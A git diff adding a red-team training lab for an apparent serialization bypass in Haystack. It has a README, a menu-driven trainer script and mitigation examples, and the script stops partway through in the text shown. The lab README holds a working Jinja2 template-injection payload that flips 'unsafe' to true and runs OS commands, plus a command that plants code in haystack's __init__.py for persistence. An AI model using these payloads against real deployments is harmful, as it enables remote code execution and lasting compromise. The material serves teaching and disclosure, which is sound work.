diff --git a/README.md b/README.md index bde53b8..2c27334 100644 --- a/README.md +++ b/README.md @@ -35,6 +35,7 @@ The [Legacy Repository](https://github.com/OWASP/www-project-top-10-for-large-la │ ├── agent0 │ ├── example │ ├── garak +│ ├── haystack │ ├── Langflow_v1.0.12 │ ├── LangGrinch │ ├── langchain @@ -46,6 +47,7 @@ The [Legacy Repository](https://github.com/OWASP/www-project-top-10-for-large-la ├── LICENSE ├── README.md ├── sandboxes +│ ├── agentic_local_haystack │ ├── agentic_local_langchain │ ├── agentic_local_n8n_v1.65.0 │ ├── agentic_local_semantickernel @@ -192,6 +194,9 @@ uv --version * **[LangChain Orchestration Poisoning Sandbox](sandboxes/agentic_local_langchain/README.md)** * **Summary**: A containerized sandbox running **LangChain-core v1.2.24 through latest** (tested up to v1.6.0 as of August 2026) demonstrating **critical Insecure Orchestration vulnerabilities**. Students bypass **CVE-2026-34070** (direct path traversal — patched in v1.2.25+), **CVE-2023-36258** (symlink suffix bypass — **NEVER PATCHED**), and the **unpatched write primitive** (`.save()` — **NO CVE ASSIGNED**). The sandbox simulates the real-world patch lifecycle across 5 stages, proving that symlink reads and the write-side `.save()` method remain exploitable in every version tested. Includes a pre-created symlink (`/app/config.json` → `/app/config.txt`) to demonstrate CWE-59 (Improper Link Resolution). Reference: [JDP-2026-004](https://jdp-security.github.io/security-research-papers/2026-05-12-langchain-orchestration-poisoning-disclosure.html) — CVSS 10.0 Critical. +* **[Haystack Serialization Evasion Sandbox](sandboxes/agentic_local_haystack/README.md)** + * **Summary**: A containerized sandbox running **Deepset Haystack (`haystack-ai` v2.27.0)** demonstrating a **critical Serialization Boundary Evasion vulnerability (JDP-2026-005)**. The `default_from_dict()` deserialization method passes all `init_parameters` directly to component constructors without stripping security-critical flags, allowing an attacker to bypass the `unsafe=False` boundary and achieve persistent Remote Code Execution (RCE) via Jinja2 SSTI breakout. The sandbox exposes a Flask API with `/chat` (pipeline loading) and `/verify` (integrity check) endpoints. Both `OutputAdapter` and `ConditionalRouter` components are affected. Reference: [JDP-2026-005](https://jdp-security.github.io/security-research-papers/2026-05-13-deepset-haystack-disclosure.html) — CVSS 10.0 Critical. + ### `exploitation/` * **[Red Team Example](exploitation/example/README.md)** @@ -255,6 +260,23 @@ uv --version **Reference:** [JDP-2026-004 White Paper](https://jdp-security.github.io/security-research-papers/2026-05-12-langchain-orchestration-poisoning-disclosure.html) +* **[Haystack Serialization Evasion Trainer](exploitation/haystack/README.md)** + * **Summary**: An interactive training wizard and automated verification suite demonstrating a **critical Serialization Boundary Evasion vulnerability (JDP-2026-005)** in Deepset Haystack (`haystack-ai` v2.27.0). Students learn how `from_dict()` deserialization bypasses the `unsafe=False` security boundary, enabling persistent framework compromise via `__init__.py` overwrite — achieving a CVSS Scope Change (S:C) that survives application restarts. + + **Includes:** + * `interactive_trainer.py`: Menu-driven CLI with 6 lessons (Baseline, YAML Bypass, Full RCE, Scope Change, Mitigation, Attack Vectors) plus auto-pilot mode and built-in container management. Supports custom YAML/JSON payloads and multi-line paste. + * `payloads/`: Pre-built exploit payloads demonstrating OutputAdapter bypass, ConditionalRouter bypass, and persistent RCE. + * `submission_audit.md`: Full vulnerability validation and audit report. + + **Key Findings:** + * Serialization boundary evasion via `default_from_dict()` — no `unsafe` flag stripping + * Both `OutputAdapter` and `ConditionalRouter` components affected + * Persistent framework compromise via `haystack/__init__.py` overwrite + * 4 attack vectors: Direct API call, file-based loading, database poisoning, message queue injection + * Vendor classification: "Trusted configuration behavior" — no fix planned + + **Reference:** [JDP-2026-005 White Paper](https://jdp-security.github.io/security-research-papers/2026-05-13-deepset-haystack-disclosure.html) + ### `tutorials/` * **[Community Resources for Agentic AI Red Teaming](tutorials/community_resources.md)** diff --git a/exploitation/haystack/README.md b/exploitation/haystack/README.md new file mode 100644 index 0000000..9938a29 --- /dev/null +++ b/exploitation/haystack/README.md @@ -0,0 +1,308 @@ +# Haystack Serialization Boundary Evasion Lab (JDP-2026-005) + +## Overview + +This laboratory demonstrates a critical **Insecure Orchestration Vulnerability (OWASP Top 10 for LLMs: LLM06 – Excessive Agency / ASI02 – Tool Misuse)** within Deepset Haystack AI (`haystack-ai` v2.27.0). Students will explore how the `from_dict()` deserialization method passes security-critical parameters directly to component constructors without validation, allowing attackers to bypass the `unsafe=False` boundary and achieve persistent Remote Code Execution (RCE) via framework poisoning. + +**Vulnerability Class:** CWE-502 (Deserialization of Untrusted Data) → CWE-94 (Code Injection) → CWE-184 (Incomplete Input Filtering) +**CVSS v3.1:** 10.0 Critical – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H +**Author:** Jeff Ponte (CISSP, CCSP, CEH) – JDP Security +**Research Paper:** [JDP-2026-005: Architectural Boundary Limitations in Haystack](https://jdp-security.github.io/security-research-papers/2026-05-13-deepset-haystack-disclosure.html) + +--- + +## Core Learning Objectives + +By completing this lab, students will: + +1. **Identify Serialization Boundary Flaws** – Learn how `default_from_dict()` passes all `init_parameters` directly to component constructors without stripping security-critical flags, violating the principle of least privilege. +2. **Execute a YAML Deserialization Bypass** – Craft a malicious pipeline definition that sets `"unsafe": true` to bypass the Jinja2 sandbox and achieve code execution. +3. **Achieve Persistent Framework Compromise (Scope Change)** – Use the initial RCE to overwrite `haystack/__init__.py`, demonstrating CVSS Scope Change (S:C) where the infection survives application restarts and process termination. +4. **Analyze the Vendor/Researcher Divergence** – Understand the industry debate between "trusted configuration behavior" and "framework-level vulnerability" — a critical threat modeling distinction for AI orchestration security. +5. **Evaluate Mitigation Strategies** – Explore application-layer patches (schema validation, monkey-patching, HMAC signing) and understand why they are inherently incomplete without framework-level fixes. +6. **Map Attack Vectors to Deployment Scenarios** – Identify 4 real-world delivery methods (API, file, database, message queue) and understand how authentication controls reach but does not fix the underlying vulnerability. + +--- + +## OWASP Alignment + +This lab directly addresses the following OWASP categories: + +| OWASP Category | Relevance | +|---|---| +| **LLM06 – Excessive Agency** | The orchestration framework grants excessive capabilities to untrusted data inputs, allowing security configuration to be dictated by payloads | +| **ASI02 – Tool Misuse** | The `OutputAdapter` and `ConditionalRouter` tools can be exploited for unintended purposes (code execution) when their security flags are manipulated | +| **CWE-502 – Deserialization of Untrusted Data** | The framework instantiates objects from YAML/Dict payloads without validating embedded security directives | +| **CWE-94 – Code Injection** | Manipulation of the `unsafe` flag grants direct control over the Jinja2 execution environment | +| **CWE-184 – Incomplete List of Disallowed Inputs** | The serialization engine fails to filter or strip critical security parameters during object hydration | + +--- + +## Lab Architecture + +The lab uses Docker containers running **haystack-ai v2.27.0** with a deliberately vulnerable `/chat` API endpoint that accepts pipeline definitions via `Pipeline.from_dict()`. + +| Stage | Version | `unsafe` Flag Bypass | Persistent Compromise | +|-------|---------|---------------------|-----------------------| +| **0** | 2.27.0 | ❌ VULNERABLE | ❌ VULNERABLE | + +> **Key insight:** The vulnerability is architectural, not version-specific. All versions supporting the `unsafe` feature are affected. The vendor has classified this as "trusted configuration behavior" and no fix is planned as of the latest release (August 2026). + +--- + +## Quick Start: Interactive Training Wizard + +The **`interactive_trainer.py`** provides a menu-driven CLI that walks through all exploitation scenarios with built-in container management. + +```bash +cd ~/OWASP/GenAI-Red-Team-Lab/exploitation/haystack +chmod +x interactive_trainer.py +./interactive_trainer.py +``` + +### Menu Options + +| Option | Lesson | Description | +|--------|--------|-------------| +| **`G`** | Guided Training Course | Automated auto-pilot mode that runs all 6 lessons sequentially | +| **`1`** | Lesson 1: Baseline | Verify the framework is clean and `unsafe=False` by default | +| **`2`** | Lesson 2: YAML Bypass | Load a malicious YAML pipeline that flips `unsafe` to `true` | +| **`3`** | Lesson 3: Full RCE | Overwrite `haystack/__init__.py` to achieve persistence | +| **`4`** | Lesson 4: Scope Change | Verify the framework is permanently compromised | +| **`5`** | Lesson 5: Mitigation | Explore patches and their fundamental limitations | +| **`6`** | Lesson 6: Attack Vectors | Map the exploit to 4 real-world deployment scenarios | +| **`I`** | Industry Perspective | View the vendor vs. researcher positions on serialization boundaries | +| **`C`** | Start Container | Launch the Docker container | +| **`R`** | Reset Container | Stop and rebuild from scratch | +| **`L`** | View Container Logs | Inspect container output | +| **`H`** | Show Glossary | View CWE and terminology definitions | +| **`P`** | White Paper Summary | View the research paper abstract | +| **`W`** | Write Report | Save lab results to a JSON report | +| **`X`** | Stop Container | Stop the running container | +| **`Q`** | Quit | Exit the trainer | + +### Interactive Features + +- **Auto-fill hints** – Press Enter to use the default YAML payload for each lesson. +- **Multi-line paste support** – Paste custom YAML or JSON payloads. +- **Real-time evidence** – Each lesson displays the raw HTTP response and explains the result. +- **Auto-pilot mode** – Run `./interactive_trainer.py --auto` for a fully automated guided course. + +--- + +## Exercise 1: YAML Deserialization Bypass (Lesson 2) + +The core exploit sends a malicious YAML pipeline definition to the server. The `"unsafe": true` flag is passed directly to the `OutputAdapter` constructor without validation. + +### The Malicious Payload + +```yaml +components: + adapter: + type: haystack.components.converters.output_adapter.OutputAdapter + init_parameters: + template: | + {{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('id') }} + output_type: str + unsafe: true +``` + +### Why It Works + +The root cause is in `haystack/core/serialization.py`: + +```python +def default_from_dict(cls: type[T], data: dict[str, Any]) -> T: + init_params = data.get("init_parameters", {}) + return cls(**init_params) # PASSES ALL PARAMETERS TO CONSTRUCTOR UNFILTERED +``` + +There is no filtering of security-critical parameters like `unsafe`. The framework trusts the serialized data implicitly, violating the security principle of never trusting input at the deserialization boundary. + +### Expected Output + +``` +[VULNERABLE] SERIALIZATION BYPASS SUCCESSFUL! + EVIDENCE: The unsafe flag was mutated to true via untrusted YAML. +``` + +--- + +## Exercise 2: Persistent Framework Compromise (Lessons 3-4) + +After achieving RCE via the serialization bypass, the attacker can append Python code to the global `haystack/__init__.py` file: + +```bash +echo 'print("!!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!")' >> /usr/local/lib/python3.11/site-packages/haystack/__init__.py +``` + +### Scope Change Demonstration + +This creates a **CVSS Scope Change (S:C)** — every subsequent Python process that executes `import haystack` will run the attacker's payload synchronously. The compromise survives: + +- Pipeline deletion +- Application restarts +- Container reboots +- Process termination + +### Verification + +```python +# Clean Python process - no pipeline loaded +import haystack # Immediately executes the injected payload +# Output: !!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!! +``` + +--- + +## Exercise 3: Attack Vectors (Lesson 6) + +The exploit payload is identical regardless of delivery method. The attack vector depends on how the framework is deployed: + +| Scenario | Delivery Method | Prior Access Required | Authentication Mitigates? | +|---|---|---|---| +| Direct API Call | HTTP request | None (if public) | Controls reach, not exploit | +| File-Based Loading | File write | Write access to target path | Varies by path | +| Database Poisoning | Database modification | DB access or SQLi | Bypassable via SQLi | +| Message Queue Injection | Queue message | Queue network access | Network-level only | + +### Authentication Clarification + +**Authentication controls *who* can reach the vulnerable deserialization code, but does *not* fix the vulnerability itself.** Once an attacker reaches `from_dict()` or `from_yaml()`, the exploit works identically regardless of authentication status. This is a critical distinction for security architects designing defense-in-depth strategies. + +--- + +## Code Review: Why the Serialization Fails + +### The Vulnerable Code Path + +```python +# OutputAdapter.from_dict() - Lines 161-179 +def from_dict(cls, data: dict[str, Any]) -> "OutputAdapter": + init_params = data.get("init_parameters", {}) + init_params["output_type"] = deserialize_type(init_params["output_type"]) + custom_filters = init_params.get("custom_filters", {}) + if custom_filters: + init_params["custom_filters"] = { + name: deserialize_callable(filter_func) if filter_func else None + for name, filter_func in custom_filters.items() + } + return default_from_dict(cls, data) # LACKS UNSAFE FLAG STRIPPING +``` + +### The Deserialization Sink + +```python +# haystack/core/serialization.py +def default_from_dict(cls: type[T], data: dict[str, Any]) -> T: + init_params = data.get("init_parameters", {}) + return cls(**init_params) # PASSES ALL PARAMETERS TO CONSTRUCTOR UNFILTERED +``` + +### Audit Confirmation + +```bash +# Audit confirms absence of security flag stripping: +$ grep -n "pop.*unsafe\|unsafe.*pop" haystack/components/converters/output_adapter.py +# NO OUTPUT - Mitigation absent + +$ grep -i "unsafe\|security" haystack/core/serialization.py +# NO OUTPUT - Security validation absent in serialization engine +``` + +--- + +## The Architectural Flaw + +The vulnerability is not a simple coding error — it is an architectural design issue with four components: + +### 1. Unvalidated Input Routing +`default_from_dict()` passes all `init_params` directly to component constructors without sanitation. This is a classic **Confused Deputy** problem — the framework trusts the payload's authority over its own security configuration. + +### 2. Missing Flag Validation +Core components such as `OutputAdapter` and `ConditionalRouter` do not strip or restrict `unsafe` flags during deserialization. The security control is implemented as a standard constructor parameter, giving it identical authority to any other parameter. + +### 3. Insecure Data Processing +The serialization logic merges application security configurations with untrusted data ingress. There is no separation between "system configuration" and "user data" at the deserialization boundary. + +### 4. Implementation Lifecycle Gap +The `unsafe` feature was introduced in commit [`3e3f79b9`](https://github.com/deepset-ai/haystack/commit/3e3f79b9285c5b56432aac3e4ef2309e5f31ea74) (September 2, 2024) with release notes explicitly warning it "could lead to remote code execution," yet no corresponding safeguards were implemented in the `from_dict` hydration pipeline. + +--- + +## The Whack-a-Mole Problem + +Every application-layer patch creates a new bypass vector: + +| Round | Patch | Bypass | +|-------|-------|--------| +| 1 | Strip `unsafe` from `OutputAdapter.from_dict()` | Use `ConditionalRouter.from_dict()` instead (same vulnerability, different component) | +| 2 | Strip `unsafe` from both components | Use `Pipeline.from_yaml()` which uses a different deserialization path | +| 3 | Patch all known deserialization paths | Attacker disables the patch if they achieve code execution through another vector | +| 4 | Deploy schema validation at the API gateway | Attacker finds an alternative ingress path (database, message queue, file system) | + +**The root cause is architectural, not a patch gap.** The framework lacks a centralized validation layer that strips security-critical parameters from ALL deserialization paths at the single entry point (`Pipeline.from_dict()`). Until the framework implements this, every patch will be incomplete. + +--- + +## Mitigation Strategies (Appendix A) + +### Application-Layer Patches (Temporary) + +**Option 1: Monkey-Patch `from_dict()`** +```python +import haystack.components.converters.output_adapter as oa +_orig = oa.OutputAdapter.from_dict.__func__ + +@classmethod +def _secured(cls, data): + if "init_parameters" in data: + data["init_parameters"].pop("unsafe", None) + return _orig(cls, data) + +oa.OutputAdapter.from_dict = _secured +``` + +**Option 2: Pre-Sink Schema Validation** +```python +from jsonschema import validate, ValidationError + +SERIALIZATION_SCHEMA = { + "type": "object", + "properties": { + "init_parameters": { + "type": "object", + "properties": { + "unsafe": { + "type": "boolean", + "enum": [False] # Strict enforcement of safe execution + } + } + } + } +} +``` + +### Framework-Level Fixes (Required) + +1. **Parameter Stripping**: All `from_dict()` methods should strip security-critical parameters like `unsafe` before passing to constructors. +2. **Centralized Validation**: Validate at `Pipeline.from_dict()` rather than each individual component. +3. **Explicit Opt-In**: Unsafe mode should require code-level developer intent, not data-level configuration. +4. **Cryptographic Signatures**: Verify serialized data integrity before deserialization. + +--- + + +## References & Additional Reading + +- **JDP-2026-005:** Serialization Boundary Evasion in Haystack (this disclosure) +- **CWE-502:** Deserialization of Untrusted Data +- **CWE-94:** Code Injection (Jinja2 SSTI) +- **CWE-184:** Incomplete List of Disallowed Inputs +- **OWASP Top 10 for LLM Applications:** [LLM06 – Excessive Agency](https://owasp.org/www-project-top-10-for-llm-applications/) +- **OWASP Agentic Security:** [ASI02 – Tool Misuse](https://owasp.org/www-project-agentic-security/) +- **Research Paper:** [JDP-2026-005 White Paper](https://jdp-security.github.io/security-research-papers/2026-05-13-deepset-haystack-disclosure.html) +- **Commit 3e3f79b9:** [Introduction of the `unsafe` feature](https://github.com/deepset-ai/haystack/commit/3e3f79b9285c5b56432aac3e4ef2309e5f31ea74) (September 2, 2024) +- **OWASP GenAI Red Team Lab:** [GitHub Repository](https://github.com/JDP-Security/OWASP-GenAI-Red-Team-Lab) +- **Deepset Haystack:** [Official Documentation](https://docs.haystack.deepset.ai/) + diff --git a/exploitation/haystack/interactive_trainer.py b/exploitation/haystack/interactive_trainer.py new file mode 100755 index 0000000..09402f0 --- /dev/null +++ b/exploitation/haystack/interactive_trainer.py @@ -0,0 +1,1364 @@ +#!/usr/bin/env python3 +""" +====================================================================================== + OWASP GenAI Red Team Lab - Haystack Serialization Evasion Suite +====================================================================================== + Lead Research & Author: Jeff Ponte (JDP Security) + Research Paper: https://jdp-security.github.io/security-research-papers/ + 2026-05-13-deepset-haystack-disclosure.html +====================================================================================== + NOTE: The LLM generation step is SIMULATED to provide deterministic training. + Live LLM calls are non-deterministic - they may refuse, rephrase, or + hallucinate. We simulate a consistent tool call so the lesson focuses + on the actual framework behavior, not LLM variability. + + All file I/O operations (read/write) are 100% REAL against the actual + haystack-ai library version installed in each container. +====================================================================================== +""" + +import json +import os +import subprocess +import sys +import time +import urllib.error +import urllib.request +from datetime import datetime + +import yaml + +# ====================================================================== +# CONSTANTS & CONFIGURATION +# ====================================================================== +CONTAINER_NAME = "haystack-sandbox" + +SANDBOX_DIR = os.path.join( + os.path.dirname(os.path.abspath(__file__)), + "..", + "..", + "sandboxes", + "agentic_local_haystack", +) + +RESEARCH_URL = ( + "https://jdp-security.github.io/security-research-papers/" + "2026-05-13-deepset-haystack-disclosure.html" +) + + +# ====================================================================== +# ANSI COLORS & EFFECTS +# ====================================================================== +class Colors: + HEADER = "\033[95m" + BLUE = "\033[94m" + CYAN = "\033[96m" + GREEN = "\033[92m" + YELLOW = "\033[93m" + FAIL = "\033[91m" + ENDC = "\033[0m" + BOLD = "\033[1m" + RED = "\033[91m" + MAGENTA = "\033[95m" + RESET = "\033[0m" + GRAY = "\033[90m" + + +# ====================================================================== +# STAGE CONFIGURATIONS +# ====================================================================== +STAGE_CONFIGS = { + 0: { + "port": 8000, + "title": "Stage 0: Baseline - haystack-ai==2.27.0", + "image": "haystack-sandbox", + "containerfile": "Containerfile", + "version": "2.27.0", + "vuln_type": "Serialization Boundary Evasion - unsafe flag bypass", + }, +} + +CURRENT_STAGE = 0 +CONTAINER_ENGINE = None +AUTO_MODE = False +CONTAINER_RUNNING = False +LOG_ENTRIES = [] + +# ====================================================================== +# GLOSSARY & WHITE PAPER SUMMARY +# ====================================================================== +GLOSSARY = { + "CWE-502": "Deserialization of Untrusted Data - the framework instantiates objects from YAML/Dict payloads without validating embedded security directives.", + "CWE-94": "Code Injection - manipulation of the unsafe flag grants direct control over the Jinja2 execution environment.", + "CWE-184": "Incomplete List of Disallowed Inputs - the serialization engine fails to filter or strip critical security parameters during object hydration.", + "unsafe flag": "A security control in Haystack's OutputAdapter that gates Jinja2 template execution.", + "from_dict()": "Deserialization method that passes init_params directly to component constructors without sanitation.", + "from_yaml()": "Deserialization method that loads pipeline definitions from YAML files.", + "Scope Change (S:C)": "A CVSS metric indicating the vulnerability allows an attacker to affect resources beyond the original security scope.", + "LLM06 - Excessive Agency": "OWASP category where an LLM or orchestrator is granted excessive capabilities beyond what is needed.", + "ASI02 - Tool Misuse": "OWASP Agentic Security risk where tools available to agents can be exploited for unintended purposes.", +} + +WHITE_PAPER_SUMMARY = """ +================================================================================ + WHITE PAPER SUMMARY: JDP-2026-005 + Architectural Boundary Limitations: RCE via Serialization Bypass + and Persistent Framework Compromise in Haystack +================================================================================ + Author: Jeff Ponte (JDP Security) + CVSS: 10.0 (Critical) + Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + Key Findings: + - Serialization validation oversight allows untrusted payloads to + mutate the unsafe=False boundary to unsafe=True + - Jinja2 SSTI breakout enables arbitrary OS command execution + - Persistent framework compromise via haystack/__init__.py overwrite + Status: Framework maintainers classify this as "trusted configuration + behavior" rather than a framework vulnerability - no fix planned + Full paper: https://jdp-security.github.io/security-research-papers/ + 2026-05-13-deepset-haystack-disclosure.html +================================================================================ +""" + +VENDOR_PERSPECTIVE = """ +================================================================================ + INDUSTRY PERSPECTIVE ON SERIALIZATION BOUNDARIES +================================================================================ + In coordinated disclosures of similar architectural issues, a common + vendor response has been: + + "Loading a pipeline assumes that the pipeline definition originates from + a trusted source and has been reviewed by the user. Pipelines may include + custom components and custom callables, which are intentionally supported + to enable extensibility." + + This perspective reflects a design philosophy where: + - The framework provides powerful serialization capabilities + - Security of serialized data is the responsibility of the deploying + application + - The 'unsafe' flag is documented as a dangerous feature + + The counterargument from security research is: + - When a documented security control can be bypassed through the + framework's own APIs, that represents an architectural boundary + limitation + - Precedent exists where similar issues in other frameworks received + CVEs (Jinja2, Django, jQuery) + - The CVSS Scope Change metric (S:C) highlights that the impact + extends beyond the intended application boundary + + This disagreement represents an ongoing industry discussion about + where the line should be drawn between framework responsibility + and user responsibility for security. +================================================================================ +""" + + +# ====================================================================== +# CORE FUNCTIONS +# ====================================================================== +def detect_container_engine(): + global CONTAINER_ENGINE + if CONTAINER_ENGINE: + return CONTAINER_ENGINE + for engine in ["docker", "podman"]: + try: + subprocess.run([engine, "--version"], capture_output=True, check=True) + CONTAINER_ENGINE = engine + return engine + except: + continue + print(f"{Colors.FAIL}[!] No container runtime found.{Colors.ENDC}") + return None + + +def stop_container(): + global CONTAINER_RUNNING + engine = detect_container_engine() + if not engine: + return + subprocess.run( + f"{engine} rm -f {CONTAINER_NAME}", + shell=True, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + CONTAINER_RUNNING = False + if not AUTO_MODE: + print(f"{Colors.GREEN}[+] Container stopped and removed.{Colors.ENDC}") + + +def is_container_clean(): + try: + req = urllib.request.urlopen( + f"http://127.0.0.1:{STAGE_CONFIGS[CURRENT_STAGE]['port']}/verify", timeout=3 + ) + data = json.loads(req.read().decode()) + return data.get("status") == "clean" + except Exception: + return False + + +def launch_clean_container(max_attempts=3): + global CONTAINER_RUNNING + engine = detect_container_engine() + if not engine: + return False + + cfg = STAGE_CONFIGS[CURRENT_STAGE] + + for attempt in range(1, max_attempts + 1): + if not AUTO_MODE: + print( + f"{Colors.BLUE}[*] Attempt {attempt}/{max_attempts} - Running make clean && make attack...{Colors.ENDC}" + ) + + make_clean_cmd = f"make -C {SANDBOX_DIR} clean" + make_attack_cmd = f"make -C {SANDBOX_DIR} attack" + + subprocess.run( + make_clean_cmd, + shell=True, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + + result = subprocess.run( + make_attack_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + + if result.returncode != 0: + stderr = result.stderr.decode()[:500] + if not AUTO_MODE: + print(f"{Colors.FAIL}[!] make attack failed:{Colors.ENDC}") + print(stderr) + continue + + healthy = False + for _ in range(15): + try: + req = urllib.request.urlopen( + f"http://127.0.0.1:{cfg['port']}/health", timeout=1 + ) + if req.getcode() == 200: + data = json.loads(req.read().decode()) + cfg["version"] = data.get("haystack_version", cfg["version"]) + healthy = True + break + except: + time.sleep(1) + + if not healthy: + if not AUTO_MODE: + print(f"{Colors.FAIL}[!] Container health check failed.{Colors.ENDC}") + continue + + if is_container_clean(): + CONTAINER_RUNNING = True + if not AUTO_MODE: + print( + f"{Colors.GREEN}[+] REAL haystack-ai v{cfg['version']} ready and CLEAN!{Colors.ENDC}" + ) + return True + else: + if not AUTO_MODE: + print( + f"{Colors.YELLOW}[!] Container is compromised after build. Rebuilding...{Colors.ENDC}" + ) + stop_container() + subprocess.run( + f"{engine} rmi -f {cfg['image']}", + shell=True, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + + CONTAINER_RUNNING = False + print( + f"{Colors.FAIL}[!] Failed to start a clean container after {max_attempts} attempts.{Colors.ENDC}" + ) + print( + f"{Colors.YELLOW}Try running 'make clean && make attack' manually in {SANDBOX_DIR}{Colors.ENDC}" + ) + return False + + +def launch_container(): + return launch_clean_container() + + +def get_base_url(): + return f"http://127.0.0.1:{STAGE_CONFIGS[CURRENT_STAGE]['port']}" + + +def send_request(endpoint, method="GET", payload=None): + url = get_base_url() + endpoint + data = json.dumps(payload).encode("utf-8") if payload else None + req = urllib.request.Request( + url, data=data, headers={"Content-Type": "application/json"}, method=method + ) + try: + with urllib.request.urlopen(req, timeout=15) as resp: + body = resp.read().decode("utf-8") + return resp.getcode(), json.loads(body) + except urllib.error.HTTPError as e: + return e.code, json.loads(e.read().decode("utf-8")) + except Exception as e: + return 0, {"error": str(e)} + + +# ====================================================================== +# LOGGING & REPORTING +# ====================================================================== +def log_result(lesson, status, output): + entry = { + "timestamp": datetime.now().isoformat(), + "lesson": lesson, + "status": status, + "output": str(output)[:200], + } + LOG_ENTRIES.append(entry) + + +def write_report(): + if not LOG_ENTRIES: + print(f"{Colors.YELLOW}[!] No lessons run yet.{Colors.ENDC}") + return + filename = f"haystack_lab_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json" + with open(filename, "w") as f: + json.dump(LOG_ENTRIES, f, indent=2) + print(f"{Colors.GREEN}[+] Report saved to {filename}{Colors.ENDC}") + + +# ====================================================================== +# EDUCATIONAL CONTENT +# ====================================================================== +def print_industry_perspective(): + print( + f"\n{Colors.BOLD}{Colors.CYAN}═══ INDUSTRY PERSPECTIVE ON SERIALIZATION BOUNDARIES ═══{Colors.ENDC}" + ) + print(f"\n{Colors.YELLOW}The Framework's Position:{Colors.ENDC}") + print(f" Serialization formats for executable pipelines are inherently") + print(f" powerful. The framework provides the 'unsafe' flag as a documented") + print(f" feature, and it is the responsibility of the deploying application") + print(f" to ensure that serialized pipeline data comes from trusted sources.") + print(f" This is a valid engineering position: pipelines can include custom") + print(f" code, so users must verify pipeline definitions.") + print(f"\n When is this reasonable?") + print(f" • Pipelines stored in a secured database with strict access controls") + print(f" • Pipelines signed by a trusted build system") + print(f" • The application only loads pipelines from its own trusted storage") + print(f" • No user-uploaded pipeline configurations are accepted") + + print(f"\n{Colors.CYAN}The Security Researcher's Position:{Colors.ENDC}") + print(f" When a documented security control can be trivially bypassed") + print(f" through the framework's own serialization APIs, that represents") + print(f" an architectural boundary limitation. The 'unsafe' flag is") + print(f" explicitly documented as a security measure, yet it can be") + print(f" mutated by untrusted data during deserialization.") + print(f"\n When is this a critical concern?") + print(f" • Multi-tenant SaaS environments accepting pipeline definitions") + print(f" • Cache poisoning or MITM scenarios") + print(f" • CI/CD pipeline poisoning via repository compromise") + print(f" • Any scenario where serialized data crosses trust boundaries") + + print(f"\n{Colors.MAGENTA}The Core Technical Question:{Colors.ENDC}") + print(f" Should security-critical configuration parameters be allowed") + print(f" to be specified in serialized data that may originate from") + print(f" untrusted sources, or should they be restricted to code-level") + print(f" developer intent?") + + print(f"\n{Colors.YELLOW}Industry Precedent:{Colors.ENDC}") + print(f" Similar debates have occurred across the software industry:") + print(f" • Deserialization vulnerabilities (CWE-502) are consistently") + print(f" treated as framework issues when the framework provides") + print(f" the deserialization mechanism") + print(f" • Other frameworks have received CVEs for analogous issues") + print(f" • OWASP LLM06 (Excessive Agency) and ASI02 (Tool Misuse)") + print(f" cover scenarios where orchestrators are granted excessive") + print(f" capabilities that can be exploited") + + print(f"\n{Colors.GREEN}Key Takeaway:{Colors.ENDC}") + print(f" The vendor's stance is reasonable for first-party, trusted pipelines.") + print(f" However, in multi-tenant or user-content scenarios, the") + print(f" architectural boundary limitation becomes critical.") + print(f" Organizations should assess their threat model and implement") + print(f" compensating controls accordingly.") + + +def print_mitigation_strategies(): + print( + f"\n{Colors.BOLD}{Colors.GREEN}═══ MITIGATION STRATEGIES & THEIR LIMITATIONS ═══{Colors.ENDC}" + ) + + print(f"\n{Colors.CYAN}Strategy 1: Pre-Sink Schema Validation{Colors.ENDC}") + print( + f" {Colors.GREEN}How it works:{Colors.ENDC} Validate all incoming pipeline YAML/JSON" + ) + print(f" against a strict schema that rejects 'unsafe': true") + print( + f" {Colors.YELLOW}Limitation:{Colors.ENDC} The attacker can find alternative paths" + ) + + print(f"\n{Colors.CYAN}Strategy 2: Monkey-Patch from_dict(){Colors.ENDC}") + print( + f" {Colors.GREEN}How it works:{Colors.ENDC} Override OutputAdapter.from_dict() to" + ) + print(f" strip the 'unsafe' parameter before passing to the constructor.") + print( + f" {Colors.YELLOW}Limitation:{Colors.ENDC} Coverage gaps, update risk, bypass potential" + ) + + print(f"\n{Colors.CYAN}Strategy 3: Environment Variable Gate{Colors.ENDC}") + print( + f" {Colors.GREEN}How it works:{Colors.ENDC} Require HAYSTACK_ALLOW_UNSAFE=true" + ) + print( + f" {Colors.YELLOW}Limitation:{Colors.ENDC} Environment variables can be leaked" + ) + + print(f"\n{Colors.CYAN}Strategy 4: Cryptographic Signatures (HMAC){Colors.ENDC}") + print( + f" {Colors.GREEN}How it works:{Colors.ENDC} Sign all serialized pipeline definitions" + ) + print(f" {Colors.YELLOW}Limitation:{Colors.ENDC} Requires secure key management") + + print( + f"\n{Colors.BOLD}{Colors.RED}Why Architectural Fixes Are Needed:{Colors.ENDC}" + ) + print(f" All application-layer mitigations share a fundamental weakness:") + print(f" they operate at the same privilege level as the attacker's target.") + + +def print_lesson_header(lesson_num, title, objective): + print( + f"\n{Colors.BOLD}{Colors.CYAN}══════════════════════════════════════════════════════════════{Colors.ENDC}" + ) + print(f"{Colors.BOLD}{Colors.CYAN} LESSON {lesson_num}: {title}{Colors.ENDC}") + print( + f"{Colors.BOLD}{Colors.CYAN}══════════════════════════════════════════════════════════════{Colors.ENDC}" + ) + print(f"{Colors.YELLOW} Objective: {objective}{Colors.ENDC}") + + +def print_lesson_footer(): + print(f"\n{Colors.BOLD}{Colors.MAGENTA}═══ EDUCATIONAL CONTEXT ═══{Colors.ENDC}") + print(f" This vulnerability exists because the serialization engine") + print(f" (from_dict) does not validate or strip security-critical parameters") + print(f" before passing them to component constructors.") + print(f" This relates to OWASP LLM06 (Excessive Agency) and ASI02 (Tool Misuse).") + print(f" See: {RESEARCH_URL}") + + +# ====================================================================== +# THEORY & GLOSSARY DISPLAY +# ====================================================================== +def print_theory(lesson_type): + print(f"\n{Colors.BOLD}{Colors.CYAN} THEORY & 